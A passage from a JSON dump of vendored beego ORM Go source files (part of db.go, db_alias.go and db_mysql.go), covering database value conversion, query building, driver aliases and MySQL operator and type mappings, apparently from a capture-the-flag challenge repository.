value.(bool)\n\t\t\t\t\tfield.Set(reflect.ValueOf(&v))\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tif value == nil {\n\t\t\t\t\tvalue = false\n\t\t\t\t}\n\t\t\t\tfield.SetBool(value.(bool))\n\t\t\t}\n\t\t}\n\tcase fieldType == TypeVarCharField || fieldType == TypeCharField || fieldType == TypeTextField || fieldType == TypeJSONField || fieldType == TypeJsonbField:\n\t\tif isNative {\n\t\t\tif ns, ok := field.Interface().(sql.NullString); ok {\n\t\t\t\tif value == nil {\n\t\t\t\t\tns.Valid = false\n\t\t\t\t} else {\n\t\t\t\t\tns.String = value.(string)\n\t\t\t\t\tns.Valid = true\n\t\t\t\t}\n\t\t\t\tfield.Set(reflect.ValueOf(ns))\n\t\t\t} else if field.Kind() == reflect.Ptr {\n\t\t\t\tif value != nil {\n\t\t\t\t\tv := value.(string)\n\t\t\t\t\tfield.Set(reflect.ValueOf(&v))\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tif value == nil {\n\t\t\t\t\tvalue = \"\"\n\t\t\t\t}\n\t\t\t\tfield.SetString(value.(string))\n\t\t\t}\n\t\t}\n\tcase fieldType == TypeTimeField || fieldType == TypeDateField || fieldType == TypeDateTimeField:\n\t\tif isNative {\n\t\t\tif value == nil {\n\t\t\t\tvalue = time.Time{}\n\t\t\t} else if field.Kind() == reflect.Ptr {\n\t\t\t\tif value != nil {\n\t\t\t\t\tv := value.(time.Time)\n\t\t\t\t\tfield.Set(reflect.ValueOf(&v))\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tfield.Set(reflect.ValueOf(value))\n\t\t\t}\n\t\t}\n\tcase fieldType == TypePositiveBitField && field.Kind() == reflect.Ptr:\n\t\tif value != nil {\n\t\t\tv := uint8(value.(uint64))\n\t\t\tfield.Set(reflect.ValueOf(&v))\n\t\t}\n\tcase fieldType == TypePositiveSmallIntegerField && field.Kind() == reflect.Ptr:\n\t\tif value != nil {\n\t\t\tv := uint16(value.(uint64))\n\t\t\tfield.Set(reflect.ValueOf(&v))\n\t\t}\n\tcase fieldType == TypePositiveIntegerField && field.Kind() == reflect.Ptr:\n\t\tif value != nil {\n\t\t\tif field.Type() == reflect.TypeOf(new(uint)) {\n\t\t\t\tv := uint(value.(uint64))\n\t\t\t\tfield.Set(reflect.ValueOf(&v))\n\t\t\t} else {\n\t\t\t\tv := uint32(value.(uint64))\n\t\t\t\tfield.Set(reflect.ValueOf(&v))\n\t\t\t}\n\t\t}\n\tcase fieldType == TypePositiveBigIntegerField && field.Kind() == reflect.Ptr:\n\t\tif value != nil {\n\t\t\tv := value.(uint64)\n\t\t\tfield.Set(reflect.ValueOf(&v))\n\t\t}\n\tcase fieldType == TypeBitField && field.Kind() == reflect.Ptr:\n\t\tif value != nil {\n\t\t\tv := int8(value.(int64))\n\t\t\tfield.Set(reflect.ValueOf(&v))\n\t\t}\n\tcase fieldType == TypeSmallIntegerField && field.Kind() == reflect.Ptr:\n\t\tif value != nil {\n\t\t\tv := int16(value.(int64))\n\t\t\tfield.Set(reflect.ValueOf(&v))\n\t\t}\n\tcase fieldType == TypeIntegerField && field.Kind() == reflect.Ptr:\n\t\tif value != nil {\n\t\t\tif field.Type() == reflect.TypeOf(new(int)) {\n\t\t\t\tv := int(value.(int64))\n\t\t\t\tfield.Set(reflect.ValueOf(&v))\n\t\t\t} else {\n\t\t\t\tv := int32(value.(int64))\n\t\t\t\tfield.Set(reflect.ValueOf(&v))\n\t\t\t}\n\t\t}\n\tcase fieldType == TypeBigIntegerField && field.Kind() == reflect.Ptr:\n\t\tif value != nil {\n\t\t\tv := value.(int64)\n\t\t\tfield.Set(reflect.ValueOf(&v))\n\t\t}\n\tcase fieldType&IsIntegerField > 0:\n\t\tif fieldType&IsPositiveIntegerField > 0 {\n\t\t\tif isNative {\n\t\t\t\tif value == nil {\n\t\t\t\t\tvalue = uint64(0)\n\t\t\t\t}\n\t\t\t\tfield.SetUint(value.(uint64))\n\t\t\t}\n\t\t} else {\n\t\t\tif isNative {\n\t\t\t\tif ni, ok := field.Interface().(sql.NullInt64); ok {\n\t\t\t\t\tif value == nil {\n\t\t\t\t\t\tni.Valid = false\n\t\t\t\t\t} else {\n\t\t\t\t\t\tni.Int64 = value.(int64)\n\t\t\t\t\t\tni.Valid = true\n\t\t\t\t\t}\n\t\t\t\t\tfield.Set(reflect.ValueOf(ni))\n\t\t\t\t} else {\n\t\t\t\t\tif value == nil {\n\t\t\t\t\t\tvalue = int64(0)\n\t\t\t\t\t}\n\t\t\t\t\tfield.SetInt(value.(int64))\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\tcase fieldType == TypeFloatField || fieldType == TypeDecimalField:\n\t\tif isNative {\n\t\t\tif nf, ok := field.Interface().(sql.NullFloat64); ok {\n\t\t\t\tif value == nil {\n\t\t\t\t\tnf.Valid = false\n\t\t\t\t} else {\n\t\t\t\t\tnf.Float64 = value.(float64)\n\t\t\t\t\tnf.Valid = true\n\t\t\t\t}\n\t\t\t\tfield.Set(reflect.ValueOf(nf))\n\t\t\t} else if field.Kind() == reflect.Ptr {\n\t\t\t\tif value != nil {\n\t\t\t\t\tif field.Type() == reflect.TypeOf(new(float32)) {\n\t\t\t\t\t\tv := float32(value.(float64))\n\t\t\t\t\t\tfield.Set(reflect.ValueOf(&v))\n\t\t\t\t\t} else {\n\t\t\t\t\t\tv := value.(float64)\n\t\t\t\t\t\tfield.Set(reflect.ValueOf(&v))\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} else {\n\n\t\t\t\tif value == nil {\n\t\t\t\t\tvalue = float64(0)\n\t\t\t\t}\n\t\t\t\tfield.SetFloat(value.(float64))\n\t\t\t}\n\t\t}\n\tcase fieldType&IsRelField > 0:\n\t\tif value != nil {\n\t\t\tfieldType = fi.relModelInfo.fields.pk.fieldType\n\t\t\tmf := reflect.New(fi.relModelInfo.addrField.Elem().Type())\n\t\t\tfield.Set(mf)\n\t\t\tf := mf.Elem().FieldByIndex(fi.relModelInfo.fields.pk.fieldIndex)\n\t\t\tfield = f\n\t\t\tgoto setValue\n\t\t}\n\t}\n\n\tif !isNative {\n\t\tfd := field.Addr().Interface().(Fielder)\n\t\terr := fd.SetRaw(value)\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"converted value `%v` set to Fielder `%s` failed, err: %s\", value, fi.fullName, err)\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\treturn value, nil\n}\n\n// query sql, read values , save to *[]ParamList.\nfunc (d *dbBase) ReadValues(q dbQuerier, qs *querySet, mi *modelInfo, cond *Condition, exprs []string, container interface{}, tz *time.Location) (int64, error) {\n\n\tvar (\n\t\tmaps  []Params\n\t\tlists []ParamsList\n\t\tlist  ParamsList\n\t)\n\n\ttyp := 0\n\tswitch v := container.(type) {\n\tcase *[]Params:\n\t\td := *v\n\t\tif len(d) == 0 {\n\t\t\tmaps = d\n\t\t}\n\t\ttyp = 1\n\tcase *[]ParamsList:\n\t\td := *v\n\t\tif len(d) == 0 {\n\t\t\tlists = d\n\t\t}\n\t\ttyp = 2\n\tcase *ParamsList:\n\t\td := *v\n\t\tif len(d) == 0 {\n\t\t\tlist = d\n\t\t}\n\t\ttyp = 3\n\tdefault:\n\t\tpanic(fmt.Errorf(\"unsupport read values type `%T`\", container))\n\t}\n\n\ttables := newDbTables(mi, d.ins)\n\n\tvar (\n\t\tcols  []string\n\t\tinfos []*fieldInfo\n\t)\n\n\thasExprs := len(exprs) > 0\n\n\tQ := d.ins.TableQuote()\n\n\tif hasExprs {\n\t\tcols = make([]string, 0, len(exprs))\n\t\tinfos = make([]*fieldInfo, 0, len(exprs))\n\t\tfor _, ex := range exprs {\n\t\t\tindex, name, fi, suc := tables.parseExprs(mi, strings.Split(ex, ExprSep))\n\t\t\tif !suc {\n\t\t\t\tpanic(fmt.Errorf(\"unknown field/column name `%s`\", ex))\n\t\t\t}\n\t\t\tcols = append(cols, fmt.Sprintf(\"%s.%s%s%s %s%s%s\", index, Q, fi.column, Q, Q, name, Q))\n\t\t\tinfos = append(infos, fi)\n\t\t}\n\t} else {\n\t\tcols = make([]string, 0, len(mi.fields.dbcols))\n\t\tinfos = make([]*fieldInfo, 0, len(exprs))\n\t\tfor _, fi := range mi.fields.fieldsDB {\n\t\t\tcols = append(cols, fmt.Sprintf(\"T0.%s%s%s %s%s%s\", Q, fi.column, Q, Q, fi.name, Q))\n\t\t\tinfos = append(infos, fi)\n\t\t}\n\t}\n\n\twhere, args := tables.getCondSQL(cond, false, tz)\n\tgroupBy := tables.getGroupSQL(qs.groups)\n\torderBy := tables.getOrderSQL(qs.orders)\n\tlimit := tables.getLimitSQL(mi, qs.offset, qs.limit)\n\tjoin := tables.getJoinSQL()\n\n\tsels := strings.Join(cols, \", \")\n\n\tsqlSelect := \"SELECT\"\n\tif qs.distinct {\n\t\tsqlSelect += \" DISTINCT\"\n\t}\n\tquery := fmt.Sprintf(\"%s %s FROM %s%s%s T0 %s%s%s%s%s\", sqlSelect, sels, Q, mi.table, Q, join, where, groupBy, orderBy, limit)\n\n\td.ins.ReplaceMarks(&query)\n\n\trs, err := q.Query(query, args...)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\trefs := make([]interface{}, len(cols))\n\tfor i := range refs {\n\t\tvar ref interface{}\n\t\trefs[i] = &ref\n\t}\n\n\tdefer rs.Close()\n\n\tvar (\n\t\tcnt     int64\n\t\tcolumns []string\n\t)\n\tfor rs.Next() {\n\t\tif cnt == 0 {\n\t\t\tcols, err := rs.Columns()\n\t\t\tif err != nil {\n\t\t\t\treturn 0, err\n\t\t\t}\n\t\t\tcolumns = cols\n\t\t}\n\n\t\tif err := rs.Scan(refs...); err != nil {\n\t\t\treturn 0, err\n\t\t}\n\n\t\tswitch typ {\n\t\tcase 1:\n\t\t\tparams := make(Params, len(cols))\n\t\t\tfor i, ref := range refs {\n\t\t\t\tfi := infos[i]\n\n\t\t\t\tval := reflect.Indirect(reflect.ValueOf(ref)).Interface()\n\n\t\t\t\tvalue, err := d.convertValueFromDB(fi, val, tz)\n\t\t\t\tif err != nil {\n\t\t\t\t\tpanic(fmt.Errorf(\"db value convert failed `%v` %s\", val, err.Error()))\n\t\t\t\t}\n\n\t\t\t\tparams[columns[i]] = value\n\t\t\t}\n\t\t\tmaps = append(maps, params)\n\t\tcase 2:\n\t\t\tparams := make(ParamsList, 0, len(cols))\n\t\t\tfor i, ref := range refs {\n\t\t\t\tfi := infos[i]\n\n\t\t\t\tval := reflect.Indirect(reflect.ValueOf(ref)).Interface()\n\n\t\t\t\tvalue, err := d.convertValueFromDB(fi, val, tz)\n\t\t\t\tif err != nil {\n\t\t\t\t\tpanic(fmt.Errorf(\"db value convert failed `%v` %s\", val, err.Error()))\n\t\t\t\t}\n\n\t\t\t\tparams = append(params, value)\n\t\t\t}\n\t\t\tlists = append(lists, params)\n\t\tcase 3:\n\t\t\tfor i, ref := range refs {\n\t\t\t\tfi := infos[i]\n\n\t\t\t\tval := reflect.Indirect(reflect.ValueOf(ref)).Interface()\n\n\t\t\t\tvalue, err := d.convertValueFromDB(fi, val, tz)\n\t\t\t\tif err != nil {\n\t\t\t\t\tpanic(fmt.Errorf(\"db value convert failed `%v` %s\", val, err.Error()))\n\t\t\t\t}\n\n\t\t\t\tlist = append(list, value)\n\t\t\t}\n\t\t}\n\n\t\tcnt++\n\t}\n\n\tswitch v := container.(type) {\n\tcase *[]Params:\n\t\t*v = maps\n\tcase *[]ParamsList:\n\t\t*v = lists\n\tcase *ParamsList:\n\t\t*v = list\n\t}\n\n\treturn cnt, nil\n}\n\nfunc (d *dbBase) RowsTo(dbQuerier, *querySet, *modelInfo, *Condition, interface{}, string, string, *time.Location) (int64, error) {\n\treturn 0, nil\n}\n\n// flag of update joined record.\nfunc (d *dbBase) SupportUpdateJoin() bool {\n\treturn true\n}\n\nfunc (d *dbBase) MaxLimit() uint64 {\n\treturn 18446744073709551615\n}\n\n// return quote.\nfunc (d *dbBase) TableQuote() string {\n\treturn \"`\"\n}\n\n// replace value placeholder in parametered sql string.\nfunc (d *dbBase) ReplaceMarks(query *string) {\n\t// default use `?` as mark, do nothing\n}\n\n// flag of RETURNING sql.\nfunc (d *dbBase) HasReturningID(*modelInfo, *string) bool {\n\treturn false\n}\n\n// sync auto key\nfunc (d *dbBase) setval(db dbQuerier, mi *modelInfo, autoFields []string) error {\n\treturn nil\n}\n\n// convert time from db.\nfunc (d *dbBase) TimeFromDB(t *time.Time, tz *time.Location) {\n\t*t = t.In(tz)\n}\n\n// convert time to db.\nfunc (d *dbBase) TimeToDB(t *time.Time, tz *time.Location) {\n\t*t = t.In(tz)\n}\n\n// get database types.\nfunc (d *dbBase) DbTypes() map[string]string {\n\treturn nil\n}\n\n// gt all tables.\nfunc (d *dbBase) GetTables(db dbQuerier) (map[string]bool, error) {\n\ttables := make(map[string]bool)\n\tquery := d.ins.ShowTablesQuery()\n\trows, err := db.Query(query)\n\tif err != nil {\n\t\treturn tables, err\n\t}\n\n\tdefer rows.Close()\n\n\tfor rows.Next() {\n\t\tvar table string\n\t\terr := rows.Scan(&table)\n\t\tif err != nil {\n\t\t\treturn tables, err\n\t\t}\n\t\tif table != \"\" {\n\t\t\ttables[table] = true\n\t\t}\n\t}\n\n\treturn tables, nil\n}\n\n// get all cloumns in table.\nfunc (d *dbBase) GetColumns(db dbQuerier, table string) (map[string][3]string, error) {\n\tcolumns := make(map[string][3]string)\n\tquery := d.ins.ShowColumnsQuery(table)\n\trows, err := db.Query(query)\n\tif err != nil {\n\t\treturn columns, err\n\t}\n\n\tdefer rows.Close()\n\n\tfor rows.Next() {\n\t\tvar (\n\t\t\tname string\n\t\t\ttyp  string\n\t\t\tnull string\n\t\t)\n\t\terr := rows.Scan(&name, &typ, &null)\n\t\tif err != nil {\n\t\t\treturn columns, err\n\t\t}\n\t\tcolumns[name] = [3]string{name, typ, null}\n\t}\n\n\treturn columns, nil\n}\n\n// not implement.\nfunc (d *dbBase) OperatorSQL(operator string) string {\n\tpanic(ErrNotImplement)\n}\n\n// not implement.\nfunc (d *dbBase) ShowTablesQuery() string {\n\tpanic(ErrNotImplement)\n}\n\n// not implement.\nfunc (d *dbBase) ShowColumnsQuery(table string) string {\n\tpanic(ErrNotImplement)\n}\n\n// not implement.\nfunc (d *dbBase) IndexExists(dbQuerier, string, string) bool {\n\tpanic(ErrNotImplement)\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/orm/db_alias.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage orm\n\nimport (\n\t\"database/sql\"\n\t\"fmt\"\n\t\"reflect\"\n\t\"sync\"\n\t\"time\"\n)\n\n// DriverType database driver constant int.\ntype DriverType int\n\n// Enum the Database driver\nconst (\n\t_          DriverType = iota // int enum type\n\tDRMySQL                      // mysql\n\tDRSqlite                     // sqlite\n\tDROracle                     // oracle\n\tDRPostgres                   // pgsql\n\tDRTiDB                       // TiDB\n)\n\n// database driver string.\ntype driver string\n\n// get type constant int of current driver..\nfunc (d driver) Type() DriverType {\n\ta, _ := dataBaseCache.get(string(d))\n\treturn a.Driver\n}\n\n// get name of current driver\nfunc (d driver) Name() string {\n\treturn string(d)\n}\n\n// check driver iis implemented Driver interface or not.\nvar _ Driver = new(driver)\n\nvar (\n\tdataBaseCache = &_dbCache{cache: make(map[string]*alias)}\n\tdrivers       = map[string]DriverType{\n\t\t\"mysql\":    DRMySQL,\n\t\t\"postgres\": DRPostgres,\n\t\t\"sqlite3\":  DRSqlite,\n\t\t\"tidb\":     DRTiDB,\n\t\t\"oracle\":   DROracle,\n\t\t\"oci8\":     DROracle, // github.com/mattn/go-oci8\n\t\t\"ora\":      DROracle, //https://github.com/rana/ora\n\t}\n\tdbBasers = map[DriverType]dbBaser{\n\t\tDRMySQL:    newdbBaseMysql(),\n\t\tDRSqlite:   newdbBaseSqlite(),\n\t\tDROracle:   newdbBaseOracle(),\n\t\tDRPostgres: newdbBasePostgres(),\n\t\tDRTiDB:     newdbBaseTidb(),\n\t}\n)\n\n// database alias cacher.\ntype _dbCache struct {\n\tmux   sync.RWMutex\n\tcache map[string]*alias\n}\n\n// add database alias with original name.\nfunc (ac *_dbCache) add(name string, al *alias) (added bool) {\n\tac.mux.Lock()\n\tdefer ac.mux.Unlock()\n\tif _, ok := ac.cache[name]; !ok {\n\t\tac.cache[name] = al\n\t\tadded = true\n\t}\n\treturn\n}\n\n// get database alias if cached.\nfunc (ac *_dbCache) get(name string) (al *alias, ok bool) {\n\tac.mux.RLock()\n\tdefer ac.mux.RUnlock()\n\tal, ok = ac.cache[name]\n\treturn\n}\n\n// get default alias.\nfunc (ac *_dbCache) getDefault() (al *alias) {\n\tal, _ = ac.get(\"default\")\n\treturn\n}\n\ntype alias struct {\n\tName         string\n\tDriver       DriverType\n\tDriverName   string\n\tDataSource   string\n\tMaxIdleConns int\n\tMaxOpenConns int\n\tDB           *sql.DB\n\tDbBaser      dbBaser\n\tTZ           *time.Location\n\tEngine       string\n}\n\nfunc detectTZ(al *alias) {\n\t// orm timezone system match database\n\t// default use Local\n\tal.TZ = DefaultTimeLoc\n\n\tif al.DriverName == \"sphinx\" {\n\t\treturn\n\t}\n\n\tswitch al.Driver {\n\tcase DRMySQL:\n\t\trow := al.DB.QueryRow(\"SELECT TIMEDIFF(NOW(), UTC_TIMESTAMP)\")\n\t\tvar tz string\n\t\trow.Scan(&tz)\n\t\tif len(tz) >= 8 {\n\t\t\tif tz[0] != '-' {\n\t\t\t\ttz = \"+\" + tz\n\t\t\t}\n\t\t\tt, err := time.Parse(\"-07:00:00\", tz)\n\t\t\tif err == nil {\n\t\t\t\tif t.Location().String() != \"\" {\n\t\t\t\t\tal.TZ = t.Location()\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tDebugLog.Printf(\"Detect DB timezone: %s %s\\n\", tz, err.Error())\n\t\t\t}\n\t\t}\n\n\t\t// get default engine from current database\n\t\trow = al.DB.QueryRow(\"SELECT ENGINE, TRANSACTIONS FROM information_schema.engines WHERE SUPPORT = 'DEFAULT'\")\n\t\tvar engine string\n\t\tvar tx bool\n\t\trow.Scan(&engine, &tx)\n\n\t\tif engine != \"\" {\n\t\t\tal.Engine = engine\n\t\t} else {\n\t\t\tal.Engine = \"INNODB\"\n\t\t}\n\n\tcase DRSqlite, DROracle:\n\t\tal.TZ = time.UTC\n\n\tcase DRPostgres:\n\t\trow := al.DB.QueryRow(\"SELECT current_setting('TIMEZONE')\")\n\t\tvar tz string\n\t\trow.Scan(&tz)\n\t\tloc, err := time.LoadLocation(tz)\n\t\tif err == nil {\n\t\t\tal.TZ = loc\n\t\t} else {\n\t\t\tDebugLog.Printf(\"Detect DB timezone: %s %s\\n\", tz, err.Error())\n\t\t}\n\t}\n}\n\nfunc addAliasWthDB(aliasName, driverName string, db *sql.DB) (*alias, error) {\n\tal := new(alias)\n\tal.Name = aliasName\n\tal.DriverName = driverName\n\tal.DB = db\n\n\tif dr, ok := drivers[driverName]; ok {\n\t\tal.DbBaser = dbBasers[dr]\n\t\tal.Driver = dr\n\t} else {\n\t\treturn nil, fmt.Errorf(\"driver name `%s` have not registered\", driverName)\n\t}\n\n\terr := db.Ping()\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"register db Ping `%s`, %s\", aliasName, err.Error())\n\t}\n\n\tif !dataBaseCache.add(aliasName, al) {\n\t\treturn nil, fmt.Errorf(\"DataBase alias name `%s` already registered, cannot reuse\", aliasName)\n\t}\n\n\treturn al, nil\n}\n\n// AddAliasWthDB add a aliasName for the drivename\nfunc AddAliasWthDB(aliasName, driverName string, db *sql.DB) error {\n\t_, err := addAliasWthDB(aliasName, driverName, db)\n\treturn err\n}\n\n// RegisterDataBase Setting the database connect params. Use the database driver self dataSource args.\nfunc RegisterDataBase(aliasName, driverName, dataSource string, params ...int) error {\n\tvar (\n\t\terr error\n\t\tdb  *sql.DB\n\t\tal  *alias\n\t)\n\n\tdb, err = sql.Open(driverName, dataSource)\n\tif err != nil {\n\t\terr = fmt.Errorf(\"register db `%s`, %s\", aliasName, err.Error())\n\t\tgoto end\n\t}\n\n\tal, err = addAliasWthDB(aliasName, driverName, db)\n\tif err != nil {\n\t\tgoto end\n\t}\n\n\tal.DataSource = dataSource\n\n\tdetectTZ(al)\n\n\tfor i, v := range params {\n\t\tswitch i {\n\t\tcase 0:\n\t\t\tSetMaxIdleConns(al.Name, v)\n\t\tcase 1:\n\t\t\tSetMaxOpenConns(al.Name, v)\n\t\t}\n\t}\n\nend:\n\tif err != nil {\n\t\tif db != nil {\n\t\t\tdb.Close()\n\t\t}\n\t\tDebugLog.Println(err.Error())\n\t}\n\n\treturn err\n}\n\n// RegisterDriver Register a database driver use specify driver name, this can be definition the driver is which database type.\nfunc RegisterDriver(driverName string, typ DriverType) error {\n\tif t, ok := drivers[driverName]; !ok {\n\t\tdrivers[driverName] = typ\n\t} else {\n\t\tif t != typ {\n\t\t\treturn fmt.Errorf(\"driverName `%s` db driver already registered and is other type\", driverName)\n\t\t}\n\t}\n\treturn nil\n}\n\n// SetDataBaseTZ Change the database default used timezone\nfunc SetDataBaseTZ(aliasName string, tz *time.Location) error {\n\tif al, ok := dataBaseCache.get(aliasName); ok {\n\t\tal.TZ = tz\n\t} else {\n\t\treturn fmt.Errorf(\"DataBase alias name `%s` not registered\", aliasName)\n\t}\n\treturn nil\n}\n\n// SetMaxIdleConns Change the max idle conns for *sql.DB, use specify database alias name\nfunc SetMaxIdleConns(aliasName string, maxIdleConns int) {\n\tal := getDbAlias(aliasName)\n\tal.MaxIdleConns = maxIdleConns\n\tal.DB.SetMaxIdleConns(maxIdleConns)\n}\n\n// SetMaxOpenConns Change the max open conns for *sql.DB, use specify database alias name\nfunc SetMaxOpenConns(aliasName string, maxOpenConns int) {\n\tal := getDbAlias(aliasName)\n\tal.MaxOpenConns = maxOpenConns\n\t// for tip go 1.2\n\tif fun := reflect.ValueOf(al.DB).MethodByName(\"SetMaxOpenConns\"); fun.IsValid() {\n\t\tfun.Call([]reflect.Value{reflect.ValueOf(maxOpenConns)})\n\t}\n}\n\n// GetDB Get *sql.DB from registered database by db alias name.\n// Use \"default\" as alias name if you not set.\nfunc GetDB(aliasNames ...string) (*sql.DB, error) {\n\tvar name string\n\tif len(aliasNames) > 0 {\n\t\tname = aliasNames[0]\n\t} else {\n\t\tname = \"default\"\n\t}\n\tal, ok := dataBaseCache.get(name)\n\tif ok {\n\t\treturn al.DB, nil\n\t}\n\treturn nil, fmt.Errorf(\"DataBase of alias name `%s` not found\", name)\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/orm/db_mysql.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage orm\n\nimport (\n\t\"fmt\"\n\t\"reflect\"\n\t\"strings\"\n)\n\n// mysql operators.\nvar mysqlOperators = map[string]string{\n\t\"exact\":     \"= ?\",\n\t\"iexact\":    \"LIKE ?\",\n\t\"contains\":  \"LIKE BINARY ?\",\n\t\"icontains\": \"LIKE ?\",\n\t// \"regex\":       \"REGEXP BINARY ?\",\n\t// \"iregex\":      \"REGEXP ?\",\n\t\"gt\":          \"> ?\",\n\t\"gte\":         \">= ?\",\n\t\"lt\":          \"< ?\",\n\t\"lte\":         \"<= ?\",\n\t\"eq\":          \"= ?\",\n\t\"ne\":          \"!= ?\",\n\t\"startswith\":  \"LIKE BINARY ?\",\n\t\"endswith\":    \"LIKE BINARY ?\",\n\t\"istartswith\": \"LIKE ?\",\n\t\"iendswith\":   \"LIKE ?\",\n}\n\n// mysql column field types.\nvar mysqlTypes = map[string]string{\n\t\"auto\":            \"AUTO_INCREMENT NOT NULL PRIMARY KEY\",\n\t\"pk\":              \"NOT NULL PRIMARY KEY\",\n\t\"bool\":            \"bool\",\n\t\"string\":          \"varchar(%d)\",\n\t\"string-char\":     \"char(%d)\",\n\t\"string-text\":     \"longtext\",\n\t\"time.Time-date\":  \"date\",\n\t\"time.Time\":       \"datetime\",\n\t\"int8\":            \"tinyint\",\n\t\"int16\":           \"smallint\",\n\t\"int32\":           \"integer\",\n\t\"int64\":           \"bigint\",\n\t\"uint8\":           \"tinyint unsigned\",\n\t\"uint16\":          \"smallint unsigned\",\n\t\"uint32\":          \"integer unsigned\",\n\t\"uint64\":          \"bigint unsigned\",\n\t\"float64\":         \"double precision\",\n\t\"float64-decimal\": \"numeric(%d, %d)\",\n}\n\n// mysql dbBaser implementation.\ntype dbBaseMysql struct {\n\tdbBase\n}\n\nvar _ dbBaser = new(dbBaseMysql)\n\n// get mysql operator.\nfunc (d *dbBaseMysql) OperatorSQL(operator string) string {\n\treturn mysqlOperators[operator]\n}\n\n// get mysql table field types.\nfunc (d *dbBaseMysql) DbTypes() map[string]string {\n\treturn mysqlTypes\n}\n\n// show table sql for mysql.\nfunc (d *dbBaseMysql) ShowTablesQuery() string {\n\treturn \"SELECT table_name FROM information_schema.tables WHERE table_type = 'BASE TABLE' AND table_schema = DATABASE()\"\n}\n\n// show columns sql of table for mysql.\nfunc (d *dbBaseMysql) ShowColumnsQuery(table string) string {\n\treturn fmt.Sprintf(\"SELECT COLUMN_NAME, COLUMN_TYPE, IS_NULLABLE FROM information_schema.columns \"+\n\t\t\"WHERE table_schema = DATABASE() AND table_name = '%s'\", table)\n}\n\n// execute sql to check index exist.\nfunc (d *dbBaseMysql) IndexExists(db dbQuerier, table string, name string) bool {\n\trow := db.QueryRow(\"SELECT count(*) FROM information_schema.statistics \"+\n\t\t\"WHERE table_schema = DATABASE() AND table_name = ? AND index_name = ?\", table, name)\n\tvar cnt int\n\trow.Scan(&cnt)\n\treturn cnt > 0\n}\n\n// InsertOrUpdate a row\n// If your primary key or unique column conflict will update\n// If no will insert\n// Add \"`\" for mysql sql building\nfunc (d *dbBaseMysql) InsertOrUpdate(q dbQuerier, mi *modelInfo, ind reflect.Value, a *alias, args ...string) (int64, error) {\n\tvar iouStr string\n\targsMap := map[string]string{}\n\n\tiouStr = \"ON DUPLICATE KEY UPDATE\"\n\n\t//Get on the key-value pairs\n\tfor _, v := range args {\n\t\tkv := strings.Split(v, \"=\")\n\t\tif len(kv) == 2 {\n\t\t\targsMap[strings.ToLower(kv[0])] = kv[1]\n\t\t}\n\t}\n\n\tisMulti := false\n\tnames := make([]string, 0, len(mi.fields.dbcols)-1)\n\tQ := d.ins.TableQuote()\n\tvalues, _, err := d.collectValues(mi, ind, mi.fields.dbcols, true, true, &names, a.TZ)\n\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\n\tmarks := make([]string, len(names))\n\tupdateValues := make([]interface{}, 0)\n\tupdates := make([]string, len(names))\n\n\tfor i, v := range names {\n\t\tmarks[i] = \"?\"\n\t\tvalueStr := argsMap[strings.ToLower(v)]\n\t\tif valueStr != \"\" {\n\t\t\tupdates[i] = \"`\" + v + \"`\" + \"=\" + valueStr\n\t\t} else {\n\t\t\tupdates[i] = \"`\" + v + \"`\" + \"=?\"\n\t\t\tupdateValues = append(updateValues, values[i])\n\t\t}\n\t}\n\n\tvalues = append(values, updateValues...)\n\n\tsep := fmt.Sprintf(\"%s, %s\", Q, Q)\n\tqmarks := strings.Join(marks, \", \")\n\tqupdates := strings.Join(updates, \", \")\n\tcolumns := strings.Join(names, sep)\n\n\tmulti := len(values) / len(names)\n\n\tif isMulti {\n\t\tqmarks = strings.Repeat(qmarks+\"), (\", multi-1) + qmarks\n\t}\n\t//conflitValue maybe is a int,can`t use fmt.Sprintf\n\tquery := fmt.Sprintf(\"INSERT INTO %s%s%s (%s%s%s) VALUES (%s) %s \"+qupdates, Q, mi.table, Q, Q, columns, Q, qmarks, iouStr)\n\n\td.ins.ReplaceMarks(&query)\n\n\tif isMulti || !d.ins.HasReturningID(mi, &query) {\n\t\tres, err := q.Exec(query, values...)\n\t\tif err == nil {\n\t\t\tif isMulti {\n\t\t\t\treturn res.RowsAffected()\n\t\t\t}\n\t\t\treturn res.LastInsertId()\n\t\t}\n\t\treturn 0, err\n\t}\n\n\trow := q.QueryRow(query, values...)\n\tvar id int64\n\terr = row.Scan(&id)\n\treturn id, err\n}\n\n// create new mysql dbBaser.\nfunc newdbBaseMysql() dbBaser {\n\tb := new(dbBaseMysql)\n\tb.ins = b\n\treturn b\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/orm/db_oracle.go",
